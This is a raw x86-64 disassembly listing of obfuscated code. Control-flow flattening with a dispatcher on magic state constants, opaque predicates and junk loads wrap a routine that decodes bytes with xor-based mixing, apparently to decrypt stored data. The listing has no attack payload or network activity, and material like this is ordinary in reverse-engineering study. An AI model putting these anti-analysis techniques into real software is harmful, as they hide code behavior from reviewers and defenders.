mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete al
sete byte [rbp + 0x8f]
mov edi, 0x9ce81538
mov ebx, 0x8ceadef2
cmovne edi, ebx
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov ebx, 0x9ce81538
cmovl edi, ebx
mov ebx, ecx
or bl, al
add r10, r15
test bl, bl
mov r9d, 0x62439574
mov ebx, 0xc5c4e523
cmovne r9d, ebx
mov r11d, 0x62439574
mov esi, 0x54254c1a
cmovne r11d, esi
mov esi, 0x8ceadef2
mov ebx, 0xe0d67025
cmovne esi, ebx
xor dl, cl
and cl, al
xor cl, dl
mov eax, 0xd13082f0
mov ecx, 0x76479a56
cmovne eax, ecx
mov edx, 0x413ac401
jmp 0x140011050
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0x413ac400
jle 0x140011090
cmp ebx, 0x54254c19
jg 0x1400110c0
cmp ebx, 0x413ac401
je 0x14001111d
cmp ebx, 0x4de8461d
je 0x14001113c
mov edx, ebx
cmp ebx, 0x4ec8e6fe
jne 0x140011050
mov edx, eax
jmp 0x140011050
cmp ebx, 0xd13082ef
jle 0x1400110f0
mov edx, edi
cmp ebx, 0xd13082f0
je 0x140011050
cmp ebx, 0xe0d67025
je 0x140011156
mov edx, ebx
cmp ebx, 0x216c1d41
jne 0x140011050
mov edx, r11d
jmp 0x140011050
cmp ebx, 0x54254c1a
je 0x140011160
cmp ebx, 0x62439574
je 0x140011020
mov edx, ebx
cmp ebx, 0x76479a56
jne 0x140011050
mov edx, 0x4ec8e6fe
jmp 0x140011050
cmp ebx, 0x8ceadef2
je 0x140011188
mov edx, esi
cmp ebx, 0x9ce81538
je 0x140011050
mov edx, ebx
cmp ebx, 0xc5c4e523
jne 0x140011050
jmp 0x1400119e1
movzx ebx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test bl, bl
cmovne edx, r14d
jmp 0x140011050
mov qword [rbp + 0x78], r10
lea rdx, [r12 + 0x28]
mov qword [rbp + 0x80], rdx
mov edx, 0x216c1d41
jmp 0x140011050
mov edx, 0x4de8461d
jmp 0x140011050
mov rcx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov ebx, edx
and ebx, 0x6c
or ebx, 0x13
and edx, 0x93
xor ecx, edx
xor ecx, ebx
xor cl, 0x13
mov edx, r9d
jmp 0x140011050
mov edx, 0x9ce81538
jmp 0x140011050
mov byte [rbp + 0x70], al
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp]
mov byte [rcx], al
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x58]
movzx r8d, byte [rax + 0x2b]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r11b
sete byte [rbp + 0x8f]
mov ebx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne ebx, eax
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov eax, 0x9ce81538
cmovl ebx, eax
mov eax, ecx
or al, r11b
add r8, r15
test al, al
mov r9d, 0x62439574
mov eax, 0xc5c4e523
cmovne r9d, eax
mov r10d, 0x62439574
mov eax, 0x54254c1a
cmovne r10d, eax
mov edi, 0x8ceadef2
mov eax, 0xe0d67025
cmovne edi, eax
xor dl, cl
and cl, r11b
xor cl, dl
mov esi, 0xd13082f0
mov eax, 0x76479a56
cmovne esi, eax
mov ecx, 0x413ac401
jmp 0x140011270
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov ecx, 0x54254c1a
nop word cs:[rax + rax]
nop
mov edx, ecx
cmp ecx, 0x413ac400
jle 0x1400112b0
cmp edx, 0x54254c19
jg 0x1400112e0
cmp edx, 0x413ac401
je 0x14001133d
cmp edx, 0x4de8461d
je 0x14001135c
mov ecx, edx
cmp edx, 0x4ec8e6fe
jne 0x140011270
mov ecx, esi
jmp 0x140011270
cmp edx, 0xd13082ef
jle 0x140011310
mov ecx, ebx
cmp edx, 0xd13082f0
je 0x140011270
cmp edx, 0xe0d67025
je 0x140011376
mov ecx, edx
cmp edx, 0x216c1d41
jne 0x140011270
mov ecx, r10d
jmp 0x140011270
cmp edx, 0x54254c1a
je 0x140011380
cmp edx, 0x62439574
je 0x14001123e
mov ecx, edx
cmp edx, 0x76479a56
jne 0x140011270
mov ecx, 0x4ec8e6fe
jmp 0x140011270
cmp edx, 0x8ceadef2
je 0x1400113a7
mov ecx, edi
cmp edx, 0x9ce81538
je 0x140011270
mov ecx, edx
cmp edx, 0xc5c4e523
jne 0x140011270
jmp 0x140011bf2
movzx edx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov ecx, 0x76479a56
cmovne ecx, r14d
test dl, dl
cmovne ecx, r14d
jmp 0x140011270
mov qword [rbp + 0x78], r8
lea rcx, [r12 + 0x2b]
mov qword [rbp + 0x80], rcx
mov ecx, 0x216c1d41
jmp 0x140011270
mov ecx, 0x4de8461d
jmp 0x140011270
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor eax, ecx
xor eax, edx
xor al, 0x13
mov ecx, r9d
jmp 0x140011270
mov ecx, 0x9ce81538
jmp 0x140011270
mov byte [rbp + 0x70], sil
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx], al
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete byte [rbp + 0x8f]
sete r10b
mov edx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne edx, eax
cmp ecx, 0xa
setl byte [rbp + 0x68]
setl al
mov ecx, 0x9ce81538
cmovl edx, ecx
mov ecx, eax
or cl, r10b
mov r8d, 0x62439574
mov ecx, 0xc5c4e523
cmovne r8d, ecx
mov r9d, 0x62439574
mov ecx, 0x54254c1a
cmovne r9d, ecx
mov ebx, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne ebx, ecx
xor dil, al
and al, r10b
xor al, dil
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x140011470
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400114b0
cmp ecx, 0x54254c19
jg 0x1400114e0
cmp ecx, 0x413ac401
je 0x14001153d
cmp ecx, 0x4de8461d
je 0x14001155c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140011470
mov eax, edi
jmp 0x140011470
cmp ecx, 0xd13082ef
jle 0x140011510
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140011470
cmp ecx, 0xe0d67025
je 0x14001157a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140011470
mov eax, r9d
jmp 0x140011470
cmp ecx, 0x54254c1a
je 0x140011584
cmp ecx, 0x62439574
je 0x14001144a
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140011470
mov eax, 0x4ec8e6fe
jmp 0x140011470
cmp ecx, 0x8ceadef2
je 0x1400115ac
mov eax, ebx
cmp ecx, 0x9ce81538
je 0x140011470
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140011470
jmp 0x140011e01
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140011470
lea rax, [r15 + 0x74]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 1]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140011470
mov eax, 0x4de8461d
jmp 0x140011470
mov rsi, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor esi, eax
xor esi, ecx
xor sil, 0x13
mov eax, r8d
jmp 0x140011470
mov eax, 0x9ce81538
jmp 0x140011470
mov byte [rbp + 0x70], sil
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 1], al
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete byte [rbp + 0x8f]
sete r10b
mov edx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne edx, eax
cmp ecx, 0xa
setl byte [rbp + 0x68]
setl al
mov ecx, 0x9ce81538
cmovl edx, ecx
mov ecx, eax
or cl, r10b
mov r8d, 0x62439574
mov ecx, 0xc5c4e523
cmovne r8d, ecx
mov r9d, 0x62439574
mov ecx, 0x54254c1a
cmovne r9d, ecx
mov ebx, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne ebx, ecx
xor dil, al
and al, r10b
xor al, dil
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x140011680
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400116c0
cmp ecx, 0x54254c19
jg 0x1400116f0
cmp ecx, 0x413ac401
je 0x14001174d
cmp ecx, 0x4de8461d
je 0x14001176c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140011680
mov eax, edi
jmp 0x140011680
cmp ecx, 0xd13082ef
jle 0x140011720
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140011680
cmp ecx, 0xe0d67025
je 0x14001178a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140011680
mov eax, r9d
jmp 0x140011680
cmp ecx, 0x54254c1a
je 0x140011794
cmp ecx, 0x62439574
je 0x140011650
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140011680
mov eax, 0x4ec8e6fe
jmp 0x140011680
cmp ecx, 0x8ceadef2
je 0x1400117bc
mov eax, ebx
cmp ecx, 0x9ce81538
je 0x140011680
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140011680
jmp 0x140012016
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140011680
lea rax, [r15 + 0x74]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 2]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140011680
mov eax, 0x4de8461d
jmp 0x140011680
mov rsi, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor esi, eax
xor esi, ecx
xor sil, 0x13
mov eax, r8d
jmp 0x140011680
mov eax, 0x9ce81538
jmp 0x140011680
mov byte [rbp + 0x70], al
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x48]
mov byte [rcx + 2], al
mov rax, qword [rbp + 0x58]
movzx r8d, byte [rax + 3]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r11b
sete byte [rbp + 0x8f]
mov ebx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne ebx, eax
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov eax, 0x9ce81538
cmovl ebx, eax
mov eax, ecx
or al, r11b
add r8, r15
test al, al
mov r10d, 0x62439574
mov eax, 0xc5c4e523
cmovne r10d, eax
mov r9d, 0x62439574
mov eax, 0x54254c1a
cmovne r9d, eax
mov edi, 0x8ceadef2
mov eax, 0xe0d67025
cmovne edi, eax
xor dl, cl
and cl, r11b
xor cl, dl
mov esi, 0xd13082f0
mov eax, 0x76479a56
cmovne esi, eax
mov ecx, 0x413ac401
jmp 0x1400118a0
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov ecx, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax + rax]
mov edx, ecx
cmp ecx, 0x413ac400
jle 0x1400118e0
cmp edx, 0x54254c19
jg 0x140011910
cmp edx, 0x413ac401
je 0x14001196d
cmp edx, 0x4de8461d
je 0x14001198c
mov ecx, edx
cmp edx, 0x4ec8e6fe
jne 0x1400118a0
mov ecx, esi
jmp 0x1400118a0
cmp edx, 0xd13082ef
jle 0x140011940
mov ecx, ebx
cmp edx, 0xd13082f0
je 0x1400118a0
cmp edx, 0xe0d67025
je 0x1400119a6
mov ecx, edx
cmp edx, 0x216c1d41
jne 0x1400118a0
mov ecx, r9d
jmp 0x1400118a0
cmp edx, 0x54254c1a
je 0x1400119b0
cmp edx, 0x62439574
je 0x14001186b
mov ecx, edx
cmp edx, 0x76479a56
jne 0x1400118a0
mov ecx, 0x4ec8e6fe
jmp 0x1400118a0
cmp edx, 0x8ceadef2
je 0x1400119d7
mov ecx, edi
cmp edx, 0x9ce81538
je 0x1400118a0
mov ecx, edx
cmp edx, 0xc5c4e523
jne 0x1400118a0
jmp 0x140012226
movzx edx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov ecx, 0x76479a56
cmovne ecx, r14d
test dl, dl
cmovne ecx, r14d
jmp 0x1400118a0
mov qword [rbp + 0x78], r8
lea rcx, [r12 + 3]
mov qword [rbp + 0x80], rcx
mov ecx, 0x216c1d41
jmp 0x1400118a0
mov ecx, 0x4de8461d
jmp 0x1400118a0
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor eax, ecx
xor eax, edx
xor al, 0x13
mov ecx, r10d
jmp 0x1400118a0
mov ecx, 0x9ce81538
jmp 0x1400118a0
mov byte [rbp + 0x70], cl
mov al, byte [rbp + 0x70]
mov byte [r8 + 2], al
mov rax, qword [rbp + 0x58]
movzx r10d, byte [rax + 0x29]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete al
sete byte [rbp + 0x8f]
mov edi, 0x9ce81538
mov ebx, 0x8ceadef2
cmovne edi, ebx
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov ebx, 0x9ce81538
cmovl edi, ebx
mov ebx, ecx
or bl, al
add r10, r15
test bl, bl
mov r9d, 0x62439574
mov ebx, 0xc5c4e523
cmovne r9d, ebx
mov r11d, 0x62439574
mov esi, 0x54254c1a
cmovne r11d, esi
mov esi, 0x8ceadef2
mov ebx, 0xe0d67025
cmovne esi, ebx
xor dl, cl
and cl, al
xor cl, dl
mov eax, 0xd13082f0
mov ecx, 0x76479a56
cmovne eax, ecx
mov edx, 0x413ac401
jmp 0x140011ab0
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0x413ac400
jle 0x140011af0
cmp ebx, 0x54254c19
jg 0x140011b20
cmp ebx, 0x413ac401
je 0x140011b7d
cmp ebx, 0x4de8461d
je 0x140011b9c
mov edx, ebx
cmp ebx, 0x4ec8e6fe
jne 0x140011ab0
mov edx, eax
jmp 0x140011ab0
cmp ebx, 0xd13082ef
jle 0x140011b50
mov edx, edi
cmp ebx, 0xd13082f0
je 0x140011ab0
cmp ebx, 0xe0d67025
je 0x140011bb6
mov edx, ebx
cmp ebx, 0x216c1d41
jne 0x140011ab0
mov edx, r11d
jmp 0x140011ab0
cmp ebx, 0x54254c1a
je 0x140011bc0
cmp ebx, 0x62439574
je 0x140011a80
mov edx, ebx
cmp ebx, 0x76479a56
jne 0x140011ab0
mov edx, 0x4ec8e6fe
jmp 0x140011ab0
cmp ebx, 0x8ceadef2
je 0x140011be8
mov edx, esi
cmp ebx, 0x9ce81538
je 0x140011ab0
mov edx, ebx
cmp ebx, 0xc5c4e523
jne 0x140011ab0
jmp 0x14001245a
movzx ebx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test bl, bl
cmovne edx, r14d
jmp 0x140011ab0
mov qword [rbp + 0x78], r10
lea rdx, [r12 + 0x29]
mov qword [rbp + 0x80], rdx
mov edx, 0x216c1d41
jmp 0x140011ab0
mov edx, 0x4de8461d
jmp 0x140011ab0
mov rcx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov ebx, edx
and ebx, 0x6c
or ebx, 0x13
and edx, 0x93
xor ecx, edx
xor ecx, ebx
xor cl, 0x13
mov edx, r9d
jmp 0x140011ab0
mov edx, 0x9ce81538
jmp 0x140011ab0
mov byte [rbp + 0x70], al
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x18]
mov byte [rcx + 1], al
mov rax, qword [rbp + 0x58]
movzx r8d, byte [rax + 0x2c]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r11b
sete byte [rbp + 0x8f]
mov ebx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne ebx, eax
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov eax, 0x9ce81538
cmovl ebx, eax
mov eax, ecx
or al, r11b
add r8, r15
test al, al
mov r9d, 0x62439574
mov eax, 0xc5c4e523
cmovne r9d, eax
mov r10d, 0x62439574
mov eax, 0x54254c1a
cmovne r10d, eax
mov edi, 0x8ceadef2
mov eax, 0xe0d67025
cmovne edi, eax
xor dl, cl
and cl, r11b
xor cl, dl
mov esi, 0xd13082f0
mov eax, 0x76479a56
cmovne esi, eax
mov ecx, 0x413ac401
jmp 0x140011cc0
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov ecx, 0x54254c1a
nop dword [rax]
mov edx, ecx
cmp ecx, 0x413ac400
jle 0x140011d00
cmp edx, 0x54254c19
jg 0x140011d30
cmp edx, 0x413ac401
je 0x140011d8d
cmp edx, 0x4de8461d
je 0x140011dac
mov ecx, edx
cmp edx, 0x4ec8e6fe
jne 0x140011cc0
mov ecx, esi
jmp 0x140011cc0
cmp edx, 0xd13082ef
jle 0x140011d60
mov ecx, ebx
cmp edx, 0xd13082f0
je 0x140011cc0
cmp edx, 0xe0d67025
je 0x140011dc6
mov ecx, edx
cmp edx, 0x216c1d41
jne 0x140011cc0
mov ecx, r10d
jmp 0x140011cc0
cmp edx, 0x54254c1a
je 0x140011dd0
cmp edx, 0x62439574
je 0x140011c97
mov ecx, edx
cmp edx, 0x76479a56
jne 0x140011cc0
mov ecx, 0x4ec8e6fe
jmp 0x140011cc0
cmp edx, 0x8ceadef2
je 0x140011df7
mov ecx, edi
cmp edx, 0x9ce81538
je 0x140011cc0
mov ecx, edx
cmp edx, 0xc5c4e523
jne 0x140011cc0
jmp 0x140012480
movzx edx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov ecx, 0x76479a56
cmovne ecx, r14d
test dl, dl
cmovne ecx, r14d
jmp 0x140011cc0
mov qword [rbp + 0x78], r8
lea rcx, [r12 + 0x2c]
mov qword [rbp + 0x80], rcx
mov ecx, 0x216c1d41
jmp 0x140011cc0
mov ecx, 0x4de8461d
jmp 0x140011cc0
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor eax, ecx
xor eax, edx
xor al, 0x13
mov ecx, r9d
jmp 0x140011cc0
mov ecx, 0x9ce81538
jmp 0x140011cc0
mov byte [rbp + 0x70], sil
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 1], al
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete byte [rbp + 0x8f]
sete r10b
mov edx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne edx, eax
cmp ecx, 0xa
setl byte [rbp + 0x68]
setl al
mov ecx, 0x9ce81538
cmovl edx, ecx
mov ecx, eax
or cl, r10b
mov r8d, 0x62439574
mov ecx, 0xc5c4e523
cmovne r8d, ecx
mov r9d, 0x62439574
mov ecx, 0x54254c1a
cmovne r9d, ecx
mov ebx, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne ebx, ecx
xor dil, al
and al, r10b
xor al, dil
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x140011ed0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140011f10
cmp ecx, 0x54254c19
jg 0x140011f40
cmp ecx, 0x413ac401
je 0x140011f9d
cmp ecx, 0x4de8461d
je 0x140011fbc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140011ed0
mov eax, edi
jmp 0x140011ed0
cmp ecx, 0xd13082ef
jle 0x140011f70
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140011ed0
cmp ecx, 0xe0d67025
je 0x140011fda
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140011ed0
mov eax, r9d
jmp 0x140011ed0
cmp ecx, 0x54254c1a
je 0x140011fe4
cmp ecx, 0x62439574
je 0x140011e9b
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140011ed0
mov eax, 0x4ec8e6fe
jmp 0x140011ed0
cmp ecx, 0x8ceadef2
je 0x14001200c
mov eax, ebx
cmp ecx, 0x9ce81538
je 0x140011ed0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140011ed0
jmp 0x140012691
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140011ed0
lea rax, [r15 + 0x74]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 2]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140011ed0
mov eax, 0x4de8461d
jmp 0x140011ed0
mov rsi, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor esi, eax
xor esi, ecx
xor sil, 0x13
mov eax, r8d
jmp 0x140011ed0
mov eax, 0x9ce81538
jmp 0x140011ed0
mov byte [rbp + 0x70], sil
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 2], al
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete byte [rbp + 0x8f]
sete r10b
mov edx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne edx, eax
cmp ecx, 0xa
setl byte [rbp + 0x68]
setl al
mov ecx, 0x9ce81538
cmovl edx, ecx
mov ecx, eax
or cl, r10b
mov r8d, 0x62439574
mov ecx, 0xc5c4e523
cmovne r8d, ecx
mov r9d, 0x62439574
mov ecx, 0x54254c1a
cmovne r9d, ecx
mov ebx, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne ebx, ecx
xor dil, al
and al, r10b
xor al, dil
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x1400120e0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140012120
cmp ecx, 0x54254c19
jg 0x140012150
cmp ecx, 0x413ac401
je 0x1400121ad
cmp ecx, 0x4de8461d
je 0x1400121cc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x1400120e0
mov eax, edi
jmp 0x1400120e0
cmp ecx, 0xd13082ef
jle 0x140012180
mov eax, edx
cmp ecx, 0xd13082f0
je 0x1400120e0
cmp ecx, 0xe0d67025
je 0x1400121ea
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x1400120e0
mov eax, r9d
jmp 0x1400120e0
cmp ecx, 0x54254c1a
je 0x1400121f4
cmp ecx, 0x62439574
je 0x1400120b0
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x1400120e0
mov eax, 0x4ec8e6fe
jmp 0x1400120e0
cmp ecx, 0x8ceadef2
je 0x14001221c
mov eax, ebx
cmp ecx, 0x9ce81538
je 0x1400120e0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x1400120e0
jmp 0x1400128a6
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x1400120e0
lea rax, [r15 + 0x70]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 3]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x1400120e0
mov eax, 0x4de8461d
jmp 0x1400120e0
mov rsi, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor esi, eax
xor esi, ecx
xor sil, 0x13
mov eax, r8d
jmp 0x1400120e0
mov eax, 0x9ce81538
jmp 0x1400120e0
mov byte [rbp + 0x70], al
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x48]
mov byte [rcx + 3], al
mov rax, qword [rbp + 0x58]
movzx edi, byte [rax + 4]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea r13d, [rax - 1]
imul r13d, eax
mov edx, r13d
and edx, 1
sete r9b
sete byte [rbp + 0x8f]
mov r11d, 0x9ce81538
mov eax, 0x8ceadef2
cmovne r11d, eax
mov dword [rbp + 0x38], ecx
cmp ecx, 0xa
setl bl
setl byte [rbp + 0x68]
mov eax, 0x9ce81538
cmovl r11d, eax
mov eax, ebx
or al, r9b
add rdi, r15
test al, al
mov r8d, 0x62439574
mov eax, 0xc5c4e523
cmovne r8d, eax
mov esi, 0x62439574
mov eax, 0x54254c1a
cmovne esi, eax
mov eax, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne eax, ecx
xor dl, bl
and bl, r9b
xor bl, dl
mov r10d, 0xd13082f0
mov ecx, 0x76479a56
cmovne r10d, ecx
mov edx, 0x413ac401
jmp 0x140012300
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop dword [rax + rax]
mov r9d, edx
cmp edx, 0x413ac400
jle 0x140012340
cmp r9d, 0x54254c19
jg 0x140012380
cmp r9d, 0x413ac401
je 0x1400123e5
cmp r9d, 0x4de8461d
je 0x140012404
mov edx, r9d
cmp r9d, 0x4ec8e6fe
jne 0x140012300
mov edx, r10d
jmp 0x140012300
cmp r9d, 0xd13082ef
jle 0x1400123b4
mov edx, r11d
cmp r9d, 0xd13082f0
je 0x140012300
cmp r9d, 0xe0d67025
je 0x14001241e
mov edx, r9d
cmp r9d, 0x216c1d41
jne 0x140012300
mov edx, esi
jmp 0x140012300
cmp r9d, 0x54254c1a
je 0x140012428
cmp r9d, 0x62439574
je 0x1400122d5
mov edx, r9d
cmp r9d, 0x76479a56
jne 0x140012300
mov edx, 0x4ec8e6fe
jmp 0x140012300
cmp r9d, 0x8ceadef2
je 0x140012450
mov edx, eax
cmp r9d, 0x9ce81538
je 0x140012300
mov edx, r9d
cmp r9d, 0xc5c4e523
jne 0x140012300
jmp 0x140012ab5
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test cl, cl
cmovne edx, r14d
jmp 0x140012300
mov qword [rbp + 0x78], rdi
lea rcx, [r12 + 4]
mov qword [rbp + 0x80], rcx
mov edx, 0x216c1d41
jmp 0x140012300
mov edx, 0x4de8461d
jmp 0x140012300
mov rbx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor ebx, ecx
xor ebx, edx
xor bl, 0x13
mov edx, r8d
jmp 0x140012300
mov edx, 0x9ce81538
jmp 0x140012300
mov byte [rbp + 0x70], cl
mov al, byte [rbp + 0x70]
